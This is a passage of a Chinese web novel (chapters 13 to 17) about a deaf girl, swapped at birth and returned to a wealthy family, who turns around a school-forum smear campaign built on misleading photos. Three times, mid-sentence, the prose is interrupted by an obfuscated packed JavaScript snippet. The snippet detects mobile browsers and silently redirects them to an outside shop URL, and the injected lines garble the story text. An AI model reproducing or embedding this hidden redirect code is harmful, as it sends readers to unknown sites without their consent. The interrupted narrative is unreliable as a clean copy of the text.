她将七中的男生都想了一遍,摇了摇头。 也许裴景算“级草”?听苹安说他在他们年级很有名,可因为太熟了,见过彼此最尴尬、落魄的样子,池映雪心里的裴景如兄如弟,没什么特殊。 她再翻了几页,觉得这类型的男主不合胃口,合上书准备归还。 放书、抬眸,就在起身前的一瞬间,池映雪恰好与不知何时坐在对面的男生对视。 ——好吧。 原来真的有,从小说里走出来的这种人啊。 晚风安静地卷着地上的梧桐叶,池映雪耳边仅有的细微声响也消失,下意识看向李闻蝉。 沈星桥的眼神暗了暗,拿出手机,嘴角僵硬了一瞬,迅速切换界面到备忘录打字。 「映雪,还记得我吗?我是沈星桥,我妈妈和秦姨是很好的朋友,听说你一个人回家,特地让我如果见到了就顺道捎你一程。」 「和我走吧。」他把手机给池映雪看,「在某些人身边一点都不安全,不是吗?」 池映雪相信他的话。 但是……她侧过眸,再次望向那道黑色的颀长身影。 李闻蝉正低头在泛着光的屏幕上敲打,那张俊颜还挂着将要干涸的血迹。 嗡。兜里的手机忽然震动,池映雪匆忙拿出来看。 CHAN:「和他走吧,他人假了点,但不会伤害你,总比你坐地铁安全。」 池映雪怕沈星桥看见这句话,心虚地往内扣了扣手机。 「那你呢?」 一声轻笑落入池映雪的耳朵。 CHAN:「别担心。」 CHAN:「你看见了,他们不是我的对手。」 谁担心了?池映雪关灭屏幕,下巴抬高一点,朝沈星桥颔首。 她跟着他一起转身,没有看后面的李闻蝉,但忍不住回忆沈星桥的某句话。 那一句,说的不对。池映雪在心里悄悄否定。 李闻蝉身边……很安全。 起码他从来都没有伤害过她,从来没有。他教训的人,她看清楚了,是宁世延呀。 她要是能打,也想这样痛快地揍他一顿!虽然不知道李闻蝉为什么打人,可是池映雪相信他不是流言里那种一味使用暴力的“霸王”。 她就是相信,李闻蝉绝不是一个会无缘无故伤害别人的家伙。 [叮!攻略对象好感+5。] 池映雪顿足,古怪地蹙起眉。 她做什么了吗? 沈星桥接着走开几步才发现身边的人停下来,回眸用眼神询问。 池映雪盯了他一会儿,又想起李闻蝉刚才的话。 他们两个好像认识,莫非…… 李闻蝉喜欢看她和沈星桥走在一起?? 14. 第 14 章 银白色的轿车停在巷口,和前方的车流灯流一起汇聚成河,构成繁忙而茫然的城市银海。 池映雪最后回头看了一眼已经看不见坡底的小巷,一切动静都消失了。正要习惯性从左侧上车,沈星桥伸手止住,拉开后排靠右的车门。 他似乎一直都是这样,优雅、绅士、体贴,和哥哥一样。只不过眉宇更清致,少年人初长开的眼如蒙晨雾,温煦里带着清冷和疏离。池映雪却想起了什么,眼里闪过笑意。 初见那天,她也是这样以为他的。当她视线流转看向他的手部,和小说的男主一样用钢笔,再看下面的草稿纸,密密麻麻写着字,应当很好看…… 然而。 一股好学生气质的清冷少年,左手边是红色封面的数学竞赛书,旁边整齐放置几份试卷,写着“沈星桥”的字样。 右手握笔,笔下草稿纸的演算之外,却分明躺着一只画出来的王八。 池映雪:? 王八的上面还有几盘五子棋,一看就是刚刚写数学题开了小差,自己和自己下的。 池映雪想笑,可是这样很没有礼貌,于是只能把嘴巴抿起来。 沈星桥忽然伸出食指,抵在唇上。 嘘。 清冷的眉眼令池映雪晃了晃,她慌忙摆手,不好意思地笑起来,表示自己不会说话。 在她的视线里,男生怔了一瞬,那双注视着她的眼睛更加温柔。 ……就像现在这样。 沈星桥和她加上企鹅好友,池映雪想了想,主动发消息:「之前的事,还有今天坐车,都谢谢你,沈星桥。」 沈星桥:「不客气,我以为我们已经是朋友了,不是吗?」 池映雪轻轻地勾唇。 「嗯!」 系统在旁边眯起眼,它怎么觉得有些不对呢? “之前的事”是什么?宿主不知道原作的剧情,它可是悄悄翻过的,里面也没有这茬呀! 就算不提这个——但沈星桥,不就是宿主在剧情里暗恋不得、和池鲤鲤争还没争过的小世界男主“未婚夫”吗?! 这才刚见面,宿主就丢下她该攻略的真男主大大,跟这个姓沈的跑了??? 系统赶紧试探:[宿主,你不会……喜欢沈星桥吧?] 池映雪笑容僵住,睫毛不自然地轻颤。 喜欢谁,沈星桥吗? [对呀!你原本就……你看你身边从来没有什么异性,有也是像普通朋友那样,你和这位沈同学从见面开始氛围就不一样好吗?而且,你们居然早就认得,这个连我都不知道!] [可是宿主,你不能喜欢别人呀,咱们是要攻略男主的!]系统提醒道。 池映雪来不及深想它的话,突然意识到她好像还没有和系统提过某件事,于是弱弱道:“那个……我一直都不打算真的‘攻略’男主呀。” 系统:? “既然你说我每达到一个阶段的好感,都可以获得相应的听说能力,我想的是和李闻蝉当朋友,得到他的认可,有这两点就足够了。” “刚回家的时候妈妈就带我去大医院检查过,我的听说能力受损严重,是由于小时候没有得到及时的治疗,并非无可救药,按现在的情况,只要比目前听力好那么一点儿,我就可以用助听器啦。” 系统一听,好像挺有道理的哦! 它再仔细想想,坏了!! [那看来你还真的是很喜欢沈星桥……]就像小说里写的那样。 可小说里,宿主作为对照组,被池鲤鲤疯狂打脸秀恩爱,更是在研学旅行时因为对池鲤鲤“面色不善”,被沈星桥丢在异国他乡的十字路口啊!! 虽说后来好不容易被当地警方送回,然而宿主因此自我封闭,真的成为原文文案里那样阴暗潮湿的抑郁人士。 池鲤鲤甜蜜大婚时,宿主被匆匆送出去联姻,牟取最后一滴利益…… 系统莫名不想看到那样刺眼的景象,尽管现在看来,“小说”和现实有一些出入。 池映雪疑惑:“系统,你到底为什么认为我喜欢沈星桥啊?” [你都放弃后三种好感度了!你想想,那可是让你连助听器都不用,直接能听见声音、开口说话的能力呀!] 如果不是因为有喜欢的人,没道理白白放弃吧? 系统闷闷的,它不知是阅读人类社会的文字还是听谁说过,爱一个人不要看别的,得看这个人为爱的人甘愿放弃什么,所以…… [为了他,值得吗?] “可是,我并没有觉得我是为了谁。” 池映雪心想,“如果我在得到认可后接着攻略李闻蝉,结局呢?再一步步得到他的好感、喜欢甚至深爱吗?” 但她并不喜欢他呀。 假设她真的让李闻蝉爱上她,也同意和他在一起,可这一切都建立在所谓的“攻略任务”上,从接近到接受都是为了治好聋哑。 那李闻蝉,凭什么要被这样对待呢? 李闻蝉是个很好的人,值得收获的是一颗真心,而不是这样虚假的利用。 池映雪对自己说。 就是因为她得到的真心太少太少了,所以每一份都格外珍视。 如果有一天她真的得到了李闻蝉40%的好感度,和他成为彼此认可的好朋友,池映雪决定如实告诉他系统和任务的存在。 就是不知道那个时候,他会不会愿意原谅她…… 池映雪望向窗外,突然发现夜空已然这样黑,暗得让人不安。车内的空气一下子有些闷,不算狭小的空间乍然显得逼仄。 池映雪的视线飘忽,恍然间瞄到身边的沈星桥。 他和她穿着同样的校服,同样洁净、规整地扣好每一颗扣子,系着熨烫过的领带,和有些不好好穿衣服的人一点都不一样。 离得近,池映雪得以清楚地嗅见沈星桥身上的冷香,她不知道是什么味道,只觉得很清凉。 奇怪的是,沈星桥看上去这样温柔和煦,身上的味道居然会这样冷,和李闻蝉正好相反。 李闻蝉看上去冷凶难驯,桀骜又张狂,柑橘香味反而温甜纯粹,像年轻气盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635234|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时身上沐浴过的温暖骄阳,被恰到好处的微苦中和,变得没那么烈。 ……怎么又想到他了。 池映雪摇摇头,坐端正,挥去车内空调吹在脸上的热意。 车缓缓停下,她低头,看见沈星桥最新发来的消息。 「到了。」 「需要我陪你一起吗?」 眼前的玫瑰园别墅,夜色之下,灯火通明。 池映雪预感不妙,习惯性拒绝,独自走进大门,再穿过门廊进入客厅—— 池润面色沉肃地坐在最大沙发的中心,两只手撑在打开的膝盖上,正对池映雪,眼神发冷。左侧小沙发上,池鲤鲤一下又一下顺着秦书的气。 “妈妈,别生气了,姐姐回来了,您快去问问她吧。” 秦书复杂地望了一眼池映雪,池映雪也回望她。那张与池映雪无比相似的脸庞,此刻正充满浓浓的、毫不掩饰的失望。 池映雪悄悄按下息屏键,最后亮起的屏幕定格在提前写好的解释上。 秦书走到她面前,用平板写字:「映雪,你的老师和年级主任刚才都打电话来告诉了我们今天学校论坛上的那件事,还让我们家长明天去学校谈话。」 鲤鲤在学校里表现优秀,怀元当年也很不错,秦书还是第一次被老师叫去“喝茶”,一想起来接电话还是当着几位交好的富太太的面,便目露难堪。 「你告诉妈妈,为什么要和那个男生做这种事呢?是他逼你的吗?」 「还是……你之前待的那个应家就是这么教你的?」 “还等她狡辩吗?做错了事就该罚!”池润冷声道,“之前想着这孩子受了苦,刚从外面回来,没舍得管教。现在看来,不管,只会继续这样让家族蒙羞!” “老池你少说两句——” “也对,光说没用。”池润摇头,满脸失望,“说了她也听不见。” 秦书的面色微沉,却无法反驳,只能眼睁睁看着他手拿戒尺,一步步朝池映雪走来。 秦书终于还是不忍心,赶紧打字:「小雪,你快说是被逼被骗的啊!只要你说了,爸爸妈妈能理解的……」 池鲤鲤默不作声地旁观,拳头兴奋地攥着,却有一丝莫名的恐惧。 突然,她的手机不停震动起来,池鲤鲤背过身去查看,瞳孔骤然缩小。 与此同时,池怀元风尘仆仆地从大门外奔入客厅,来不及整理仪容便护在池映雪面前,用手挡住池润刚刚举起的戒尺。 池映雪后退的脚步猛顿,有些意外,平静无波的表情发生细微的变化。 “池怀元,让开,现在不是你无脑护着她的时候!” 池怀元喘着气,掏出手机点开虹文校园的论坛:“爸,您先看看这个吧!” “还有什么好看的?不嫌丢人吗!” 虹文的论坛只有校内人员能查看,池怀元手里这个账号还是刚才找人借来的。他点开那个爆料贴,直接翻到一个小时前左右的位置,“有反转,您看就知道了。” “——小雪她,是被冤枉的!” 15. 第 15 章 话音方落,秦书先一步拿走手机,举到池润面前看。 ———————————————— …… 【254L】 独家消息,myy被老齐找了,cyx那边不知道情况,所以到底谈没谈? 【255L】 楼上还怀疑呢,脸都贴一块儿去了,不是真的我把鞋带当面条吃! 【256L】交际花在此回复【255L】 你吃吧,我这里有完整版大瓜,悄悄透露下,图是错位的,lz本人隐情和私心超级大。 【257L】回复【256L】 你说错位就错位啊? 【258L】交际花在此 别急,先看看这个帖子再说话哈。[链接] And直说了吧,发帖人是1班ningshiyan,不像这家伙爆料还整的畏畏缩缩的,我今天把话就放这里,我能查到主楼ip和学生号(别问,家里有大佬),还有下面那个一直带节奏的匿名用户5425,是nsy小弟之一。 如果楼主和小弟能证明他们不是,求告,随时等你们律师函。 【259L】qyyyyy 我靠!!!交际花真大佬,膜拜! 【260L】匿名用户2121 气氛都到这里了,我也来说个我知道的哈。nsy喜欢cll大家都知道,主楼说的转校生,也就是本次照片事件里的女主角是池家新找回来的亲女儿,划重点,亲女儿。正主一回来,cll地位肯定遭到威胁,这种情况下nsy发帖“爆料”,真的不是把咱们当枪使吗? 【261L】 ????!什么正主亲女儿?cyx不是之前走丢被找回来吗,关cll什么事? 【262L】匿名用户2121 我说的还不够明显?不是走丢,是出生时医院抱错了,你懂什么叫真假千金(笑)。楼主还瞧不起cyx以前在七中呢,殊不知要不是她,他女神现在就该在七中念书,怎么会是如今的校园小公主? 【263L】xx 我和交际花听说的差不多。宁以前的确喜欢cll,但现在喜欢的人是cyx,结果表白失败了。cll也就算了,他觉得cyx一个聋哑人都敢拒绝他,所以怀恨在心,这才找人拍了照片污蔑。至于1班纪委就是无妄之灾,也不知哪里得罪过宁,真可怜。 再点开“交际花”发的那个链接,是另一条无人问津的帖子,连标题都是一个“。”,只不过主楼的发送时间是在昨天,而内容分明写着: “吃到一个大瓜,校园女神的舔狗n少变心了,得不到女神改追刚回她家里的聋哑女儿,但他没想到这次同样被拒绝。n少直接拍假照威胁她答应,不然就放到论坛上让人家身败名裂。唉,真不知道这个女孩会不会屈服,立贴为证,拭目以待。” “不过我觉得她还是会同意n少,本身就是聋哑人,遇到这种问题百口莫辩,n少还扬言要把拍好的错位照传遍学校,太可怕了。” ——发帖人:xx。 下面在链接被贴出来前只有零星几条评论,都是求解码或者不信的,现在却挤满了慕名而来的学生。 ——天啊,nsy太恶心了!怜爱cyx,我真的能够想象一个聋哑的小女孩刚转过来就面对这种事情有多无助,而她看样子居然还是勇敢的拒绝了,呜呜,我想认识她了。 ——cyx对不起,我为我之前的莽撞道歉,我还以为……唉,不说了,相信是错位图。 ——我早就说了原帖那图糊的要死,看完交际花和xx大佬说的再回去看,根本就是nsy他们自己带起来的节奏,到底从哪里能看出来亲了搂了啊?? ——就是说,几张照片就以为我们会上钩,现在AI那么发达,明星亲嘴视频都能p出来,更别说这种错位图,为什么之前还有那么多人信?真的是凭自己考进虹文的吗? ——我忽然有个可怕的猜测!把几个爆料综合一下:nsy会不会实际上还是喜欢cll,为了不让她被影响地位故意追cyx,被拒绝后又改换路线开始泼脏水,把我们当傻子为他们冲锋陷阵!!姐妹们,我越想越觉得是真的,cyx好惨啊!!! …… 秦书越往下翻就越踏实,长长舒了一口气:“老池你看,照片应该是假的没错了,小雪是被宁家那个小子恶意报复,没有在学校搞出那些丢人的事!” “至于里面说的鲤鲤……”秦书感觉到手臂上的小手骤然收紧,咽下疑虑,安抚地拍了拍,“鲤鲤是我们一手带大,品行有目共睹,宁家小少爷我见过,被宠坏了,肯定是他自作主张。” 池鲤鲤咬着唇,猛地松了口气。 池润铁青的脸色有所缓和,一转眼看见手里的戒尺,不自然地背到身后,仔细打量起刚找回来的这个女儿。 他这下才后知后觉地想起来,从进门到刚才被他们“围攻”,再到现在洗刷“冤屈”,池映雪一直都是安静、从容地站在原地,背着书包,端正又乖巧,和旁观者一样置身事外。 就好像,他们说的不是她,好像……毫不在乎。 池润眼神微闪,忽然有些不知道该说什么。秦书见状,也愧疚地扭头,看见女儿小小的骨架和瘦弱雪白的脸颊,心中一痛。 「小雪,你……怎么不早点和爸爸妈妈讲?」 要不是怀元回来的及时,老池的戒尺就要打下去了,在秦书的认知里,池映雪文弱到有些怯懦,肯定不会躲开。 「只要你解释了,爸爸妈妈一定会相信你。」 池映雪看向平板的屏幕,就在这两句话上面,还有秦书最开始质问的话语。 秦书也看见了,保养得当的面庞瞬间僵硬起来,可话已经发出去有一会儿,再也撤回不了。 尴尬又沉默的空气充斥着整个客厅,池映雪率先打破:「妈妈,现在没事了吗?」 秦书赶紧点头,池映雪露出淡淡的笑,「既然这样,我就先回房间了,还有作业没有写完。」 发完消息她就转身上楼,池润想跟上去,被池怀元拦了一下:“让小雪一个人待会儿吧。” 秦书注视着那道瘦弱的身影渐渐变小,鼻尖发酸,很想叫住她,可池映雪根本听不见。 池映雪回到房间后,关好门,走到书桌前坐下,安安静静地写作业,翻页都没有发出什么声音,系统也不敢打扰她。 过了一会儿,池怀元发来消息:「小雪,爸妈也是关心则乱。」 池映雪正在作受力分析图,瞥见屏幕上的文字,自动铅笔的银芯不慎折断。她眨了眨眼,拿起手机回复:「我知道,没关系的。」 池怀元:「你放心,明天妈妈和你一起去学校,必须对那个宁世延追究到底,不会让你再受这样的委屈。」 池映雪不知道该回什么,手指在冰冷的机身摩挲几下,慢吞吞地打字:「嗯,好,我知道了。」 这样的处理结果,系统觉得有些轻飘飘,但它拿捏不准宿主对这些“家人”的态度,只好换个角度。 [宿主是不是早就想到一切了?] [你一早就知道宁世延的手段,但没有制止,而是等他将舆论炒热后,在大家最关注的时期引导着改变风向,甚至更早前就在论坛里发帖“预测”,提前埋好陷阱等着宁世延跳下。] 说到底,两边都没有特别确切的实锤,模糊的错位照是真是假没人能证明,有多少人前期被宁世延带跑偏,就会有多少人因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635235|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿主的言论再次倒戈,而且只会多,不会少。 所以…… [你也知道的吧,把控舆论、占据先机的重要。]系统疑问,[那为什么刚一进门时,宿主不顺势对父母解释呢?明明已经编辑好了前因后果,有理有据,不是吗?] 嗯。 池映雪轻轻抿唇,确实是那样没错。 可是,她也是确实不想再去解释什么。 开口前就已经被认定了的行为,解释前就已经从对方眼里看见的失望,池映雪甚至不想回忆。 再看眼前的一切,窗明几净,装潢精美。进口的护眼台灯,漂亮的书包和文具盒,上百块一支的自动铅笔,她的亲人,并没有亏待她什么; 她没被“假千金”衬托得无人问津,面对宁世延的脏水也成功回击,现在论坛上除了心疼她,就是骂宁世延。 明明如此,却还是会有些鼻酸。 池映雪忍不住想,是她有些太贪心了么? 系统看出了她的失落,想要转移视线,于是连忙翻了翻任务列表。 [宿主宿主,振作起来呀,今天的“互发消息”任务还没有做呢!] 闻言,池映雪果然抬起眼重新望向手机屏幕。已经十点多了,也不知道李闻蝉有没有回家。 她在聊天框里删删打打,最终发送道:「今天的事,我不会告诉别人的。」 发完就退出聊天窗口,刷新了一下,意识到自己在做什么,池映雪慌忙把手机倒扣着放在一边,重新握笔。 ——她居然在期待别人会秒回她的消息,说出去真是让人笑掉大牙了。就连哥哥都不会,更何况是李闻蝉。 浴血打架的、时不时拒人千里之外的李闻蝉。 不愿意收下巧克力的、很可能只是怜悯着她的李闻蝉。 好感度只有14.9%的李闻蝉。 受力分析图还差最后的标注,池映雪一个“G”都没写完,倒扣的手机就向左边扭转了一个很小的角度。 她踌躇片刻,一鼓作气拿起手机翻转过来。 「南城气象台20xx年09月16日22时03分发布暴雨黄色预警信号:预计虹霞、瑰园新路等区在未来两周内出现持续降水,部分街道可能伴随短时暴雨,请注意防范……」 手机落在桌面上,发出多大的声音,池映雪都听不见。 她攥紧笔,控制着自己看向题目。 她没有失落呀。 屏幕又亮了。 「干得漂亮。」 自动铅笔在桌上缓慢滚动,池映雪将手机双手握在手心里。任务已经完成了,可还是很想说些什么,而不知从何说起。 李闻蝉又发来一句,池映雪的圆眼睛微微睁大。 CHAN:「我指的是,xx。」 池映雪:!! 莫名有种又被他抓包的感觉。 她来虹文总共也没做几件这样的事,先是抽凳子,再是论坛里埋线,怎么回回都让李闻蝉撞上? 小雪:「你为什么知道是我呀。」 对面隔了一会儿才回:「我就是知道。」 他还撤回,重新发道:「我就是知道呀。」 隔着屏幕,李闻蝉那种漫不经心又不可一世的声音也能清晰地响在池映雪的耳畔。 心里的郁气一扫而空,被窜起的小火苗取代,她脸颊鼓起来。 难怪他对她好感度迟迟上不去呢,原来她在他心里就是专干这种坏事的人? 好吧,她的确是。再来一万次,她也要出这口气。 池映雪正准备放下手机,忽然同时收到两条消息。 StarBridge:「还好吗?」 CHAN:「看论坛。」 16. 第 16 章 【澄清|宁世延、孙梁、赵乐韬所摄错位照的原图,看完请对受害同学道歉!】 简单粗暴的标题,点进去是数张照片,一看就和之前的匿名爆料帖同时拍摄。只不过不同于当时宁世延放出的错位“亲吻”“搂抱”,这些照片无一不还原真实的场景。 【33L】 所以真的是假的??我本来还想看几位爆料大佬继续对线,结果你就给我看这个,这也太假了吧!连头发丝都没挨上啊喂!! 【46L】 我要打315投诉了,这辈子再也不信这种错位照,我甚至为此喷过cyx,唉,隔这么远都能被扭曲成亲密接触,不敢想象我cp那些照片该有多假……… 【51L】 照片是假的,但为啥光拍他俩,说不定真有点啥?谁也不站,纯疑惑。 【67L】 省流版总结: 照片共分三段,一是男生女生都站着,男生好像在鞠躬还是道歉什么的,反正就很客气,结果nsy他们给拍成男生对女生搂搂亲亲; 二是女生因为聋哑写纸条给男生看,男生在打游戏甚至没怎么抬头,被nsy拍的像是女主动抱男; 三是女生低头看男生打游戏,站的有一定距离,nsy拍成女生低头亲男生。而且你们注意看,有几张lwc也在,被宁截掉了! lwc怎么可能去当别人play中的一环啊……无语,这样的照片我居然还信了那么大半天!我要去做两套数学卷子冷静一下!! 楼主不知道是何方神圣,众人还没热火朝天地讨论出这个神秘人是从哪里搞到照片的,就被对方一通输出—— 【88L】99回复【33L】 本来就是假的,很明显好吗。 【89L】99回复【46L】 你最先该做的不是打315,是给cyx道歉。 【90L】99回复【51L】 装什么理中客?我看你纯有病。 【91L】99回复【51L】 我为啥光骂你有病,你怎么不反思反思? 【92L】99回复【67L】 不信这种谣言数学卷子能提至少10分。 …… 滴滴答答的水声停止,李闻蝉系好浴巾带,将宽大的白色毛巾盖在湿漉漉的黑发上擦拭,单手在手机键盘上飞快打字。 期间还抽了个空,把67楼的省流总结置顶。 有新来的不知情人士询问之前的事,李闻蝉直接把几个链接打包发过去,目光扫到“xx”的发帖,眼里终于浮现笑意。 胡挚恰好发来消息:「蝉哥你看论坛没?高潮迭起啊!」 CHAN:「嗯。」 胡挚:「我刚在群里和万姐她们聊天,她居然就是那个“交际花”,“qyyyy”是班长,乐死我了!宁世延那个傻缺还以为只有他会带节奏吗?瞧瞧xx发帖那些话,他怕不是得气死,哈哈哈哈哈!!」 「对了蝉哥,你肯定猜不到xx是谁!」 李闻蝉挑起一边的眉,耳边似乎荡漾起那句“你为什么知道是我呀”。 他嘴角往上抬,用打湿的冷毛巾擦了擦耳垂。 CHAN:「谁。」 胡挚:「居然是池映雪啊啊啊啊!打死宁世延都想不到,要不是万姐说,我也绝不信。」 「我问万姐:你在帖子里说认识大佬,查到了宁世延他们的ip,是谁这么牛能不能给我引荐下,结果她说啥?」 「万姐说:那哪儿能啊,查这玩意儿犯法,她瞎说的!宁世延等人做贼心虚,肯定没法回应。这招还是池映雪想的,太损了!」 「诶,就是新出来的这个99,不知道是哪位大佬,太解气了!难道池家出手了?!」 李闻蝉哼着歌走向卧室,忽然停在走廊,扯下毛巾往亮着灯的客厅去。 “小少爷。”穿着得体的中年男子扶着老人半躺于沙发上,对李闻蝉口吻尊敬,“老爷子刚应酬完,喝醉了,吵着要来看看您。我发过消息,您应该正在洗澡没有注意到。” 他说完就很快离去,待大门关上,李闻蝉睨了一眼半白头发的昏睡老者,在对面沙发坐下。 “人走了,还装?” 池老爷子嘴角上扬,闭眼前还一派迷离的眼瞬间清明,精神矍铄。 “果然,还是什么都瞒不过你。” 李闻蝉面色不善:“告诉你房门密码是防止突发状况的,不是让你不请自来。” “就这么不欢迎我?放心,我就坐一会儿。” 眼神明亮的老人,眼袋却很明显,还有一层乌青。酒气逐渐在身边蔓延,李闻蝉掩住鼻起身,去进门处拿回书包,从中取出几份文件丢在茶几上:“有问题的地方都圈起来了,自己看。” 池老爷子颔首,却没第一时间拿起来,而是慢慢道:“商场上的事做的又快又好,你说要是你好好学习,现在年级第一还有沈家那小子什么事?” “你人聪明,就是太懒。哼,我和几个老头在桌上聊小辈,头都抬不起来。” “最后那句才是重点吧。” 李闻蝉挑眉,“前一句,呵,全世界差生的老师家长都这么说。” “……” “我今天听你的,在酒桌上试探了一下老瞿。” 李闻蝉抬起眼皮望他:“哟,我说怎么老头子你今天亲自去‘应酬’。” “我和他认识四十年,连亲侄子池润都怀疑过,就没怀疑过他会有二心。要不是你上次说他不对,我……” 说话声戛然而止,李闻蝉皱眉,显然难以忍受刺鼻的酒味,抓起手机再次起身:“累了就在这里睡一晚,不缺你一间卧室。” “我以前羡慕像你这样能参透人心的家伙。” 李闻蝉向卧室移动的脚步停顿。 池老爷子悠悠叹气,“现在我想,难得糊涂。小蝉,你这么敏锐,也真是不容易。” 李闻蝉转身面朝他,散漫地站着:“我要是没点本事,早该改姓池了。” 还有李家那些留下来的家当,绝对会被眼前这个慈眉善目的老人吞光。 但他对此没什么话说,作为商人,池老爷子能顾及和李家以前交情收养他,仁至义尽,他懂得感激;而相互利用是交往的法则,人图点什么实乃正常。 人都有所图。 企鹅提示音再次响起。小雪:「是你吗?」 小雪:「李闻蝉,谢谢你。」 池老爷子突兀开口:「刚找回来的那丫头怎么样?」 李闻蝉半阖长眼,深瞳宛如浓郁的墨,顶灯自上落在眉骨,打下一片晦暗的阴影。 不知在想什么,他悠悠回答,“要是好奇,就自己去见。” “迟早要见的,人老了,就开始在乎这些血脉。”池老爷子提醒,“你好歹也算她‘小叔’,之前让你照顾,也不知道有没有尽心。” 李闻蝉:“……”神特么小叔。 牙莫名有点发酸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635236|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回忆着,“照顾了。您老人家前一天发我她的资料,第二天早上我就亲自为她指路,带回班上。” “你,指路?别是把小姑娘和拎包一样提着走。” 李闻蝉:…………还怪了解他的。 李闻蝉重新朝卧室走去,手机键盘发出清脆打字声,他回复胡挚:「也许」。 “不过……” 手指上滑至前几句对话,李闻蝉的语调拉长而慢,声音清冽,在客厅漂浮,“她或许,并不需要人照顾。” 池映雪以为今晚会睡不太好,还特意比以往早二十分钟上床,结果一闭眼就睡过去了,一夜无梦。 神清气爽地起床,却被系统苦哈哈的气息吓了一跳。 系统打字都泛着幽光:[宿主,我总感觉测男主好感度的机器坏了。] 池映雪又吓了第二跳!差点弹起来,掀被子的手僵直,举着被角停在半空中。 [一整晚,几乎一整晚!虽然结果没变化,但男主的好感度上下动荡就没停过,这还不是第一次!] 系统白白的身子都散发乌黑,[我修了一夜都没发现哪里不对,报修给客服都说没问题,哼,肯定是这个统机水平不行,我已经转统工通道了。] 池映雪心虚地松了口气,不是发现好感度疑似给她加多了就好。 风向逆转,秦书今天依然要和池映雪一起前往学校,却不是“喝茶”,而是联系好律师去找个说法。 路上有好几次她都想回头和池映雪互动,可看着后视镜里安静淡然的女孩,还是没有行动。 不是没想过在手机上说什么,只是一打开聊天框就能看见那几条质问的话,秦书深深拧眉,将一切怒火积攒到了在办公室见到宁世延和宁太太的那一刻。 “你们宁家可真是教出了个好儿子。还有虹文,亏你们打着名校的招牌,学生一天不好好学习,盯着小小论坛捕风捉影、造谣谩骂,这是网络暴力知道吗?” 秦书外形温婉,典型的江南阔太,声音斯文,内容却不容退让,“我今天来只有两个诉求,一,宁世延和那两个男生公开向我家小雪道歉,阐明事实,深刻检讨!” “二,出了这样的问题,学校管理失职,你们也要公开承认错误,发出事件的调查声明。” 池映雪站在她身后,听不见话语,却感受到妇人的出离愤怒,圆眼闪过疑惑,又浮浮沉沉。 如果是刚回家的时候,得到母亲这样的维护,她一定会将前因后果抛掷脑后,感动到想哭。可是…… 寂静的办公室站满了人,宁太太压着宁世延鞠躬,学校领导一样的人也低下头,堆满讨好或惭愧的笑,像是滑稽的默片。 这时,唯一的声音出现了。 “还有三。” 池映雪的视线参杂在纷纷汇集的目光里,焦点指向那个倚在门口,逆着晨光的少年。 眼睛被正门处映入的光线微晃到,有些酸酸的。太阳温柔,融化着早间的冷空气。 李闻蝉眉眼挟着痞气,同整齐严肃的办公室格格不入,手里捧着一个金灿灿的奖杯,语气很拽,“三,在论坛里跟帖嘲讽和恶意揣测过的人,也要道歉。” “我们不能查谁是谁,学校在论坛的管理员总有权限吧?监督那些人挨个道歉。” 他掷地有声,“还清白的同学,一个公道。” ——可是,在至亲没有选择聆听而是先行怀疑时,在众人将她无意识隔绝在外激论的办公室。 她真切听见了,这样坚定的声音。 17. 第 17 章 不少老师看见这个刺头,眉头皱起来,想说的话杂七杂八,碍于种种原因只在心里喧嚣,无声地淹没了池映雪那一点微弱的心音。 秦书和和气气地笑:“是,小少爷说得对。” 宁太太朝副主任使了个眼色,后者见气氛缓和下来赔笑开口:“学生嘛,年纪都还小,谁能保证不犯错呢?宁同学一直很优秀,说到底现在只能确定他搞错了事实,但照片不一定是他们……” “朱主任,有件事我没来得及汇报。”徐静萌突然开口,“我昨晚收到了学生匿名检举的文件,内容是所有偷拍照的原图,以及事发时段三、四楼楼梯口的监控录像。” 宁世延:“不可能,监控没——” 宁太太眼疾手快捂住他的嘴,徐静萌压下怒火解释,“你想说监控没有开,对吧?可那是室内监控,楼梯口的监控24小时开放,且如果再晚一步,今早去查,就会被覆盖掉;很幸运,在此前就有人调取出来发给了我。” “那里面把你们三个从行迹可疑到蹲着偷拍,再到拍完照嬉笑着离开的全过程拍得非常清楚。宁同学,年纪小不是犯错的借口,优秀也不是,你必须为自己的行为负责!” 秦书发出一声冷笑,宁世延绝对逃不过的,宁家也不行,敢动她们池家的人,就该付出代价! 要不是他,她们……又怎么会误会小雪? 小雪虽然不说,但肯定很难过吧,秦书都不敢深想。 李闻蝉眉梢微动,掂了掂手上的奖杯,沉着嘴角叹了口气,走近徐静萌。 “篮球赛的奖杯,刚去领来的。” 徐静萌接过来,小声质疑:“你什么时候有兴致亲自送到办公室了,以前哪次不是叫你那几个‘小弟’来?” 